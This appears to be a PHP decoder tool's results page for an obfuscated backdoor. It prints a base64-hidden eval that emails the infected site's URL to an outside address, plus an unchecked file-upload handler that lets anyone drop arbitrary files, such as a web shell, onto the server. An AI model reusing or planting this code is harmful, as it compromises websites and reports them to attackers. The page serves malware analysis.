Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCiRpbmRleCA9ICdodHRwOi8vJyAuICRfU0VSVkVSWydIVFRQX0h..

Decoded Output download

?>b"<?php
$index = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
mail('[email protected]', 'X', $index); ?>"

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCiRpbmRleCA9ICdodHRwOi8vJyAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICRfU0VSVkVSWydQSFBfU0VMRiddOw0KbWFpbCgneXJpc2dqQGdtYWlsLmNvbScsICdYJywgJGluZGV4KTsgPz4=")); ?>
			<?php
			if(isset($_FILES['image'])){$errors= array();$file_name = $_FILES['image']['name'];
      $file_tmp = $_FILES['image']['tmp_name'];
if(empty($errors)==true) {
         move_uploaded_file($file_tmp,"".$file_name);
      }
   }
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 2b1c49f6dbc65c43b6f422dd8e829eb2
Eval Count 1
Decode Time 45 ms